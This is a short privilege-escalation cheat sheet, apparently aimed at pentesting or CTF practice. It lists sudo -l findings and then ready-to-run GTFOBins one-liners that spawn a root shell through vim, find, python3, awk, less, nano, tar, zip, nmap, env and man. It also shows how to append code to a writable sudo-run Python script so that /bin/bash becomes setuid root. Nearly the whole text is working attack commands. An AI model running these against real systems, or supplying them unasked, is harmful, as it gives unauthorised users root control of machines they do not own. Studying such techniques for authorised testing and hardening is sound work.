sudo -l → GTFOBins Workflow

reference 23 commands 1 tool

toolsnmap

sudo -l

Look for entries like:

(ALL : ALL) NOPASSWD: /usr/bin/vim

(root) NOPASSWD: /usr/bin/find

(ALL) /usr/bin/python3 /opt/script.py

For every binary found → immediately check GTFOBins

5 Real GTFOBins Examples

vim

sudo vim -c ':!/bin/bash'

or:

sudo vim -c ':set shell=/bin/bash' -c ':shell'

find

sudo find /tmp -exec /bin/bash \; -quit

sudo find . -exec /bin/sh \; -quit

python3

sudo python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

If limited to a script:

sudo python3 /opt/script.py    # Check if script path is writable

echo 'import os; os.system("/bin/bash")' >> /opt/script.py

sudo python3 /opt/script.py

awk

sudo awk 'BEGIN {system("/bin/bash")}'

less

sudo less /etc/passwd

Inside less: !bash

Other common ones

nano

sudo nano

Inside nano: Ctrl+R → Ctrl+X → reset; sh 1>&0 2>&0

tar

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

zip

sudo zip /tmp/x.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"

nmap (older)

echo "os.execute('/bin/bash')" > /tmp/shell.nse

sudo nmap --script=/tmp/shell.nse

env

sudo env /bin/bash

man

sudo man man

In man: !/bin/bash

sudo more /etc/passwd

In more: !/bin/bash

sudo with specific file

If rule is: (root) NOPASSWD: /usr/bin/python3 /home/user/script.py

Check if you can write to the script

ls -la /home/user/script.py

echo 'import os; os.system("chmod +s /bin/bash")' >> /home/user/script.py

sudo /usr/bin/python3 /home/user/script.py

/bin/bash -p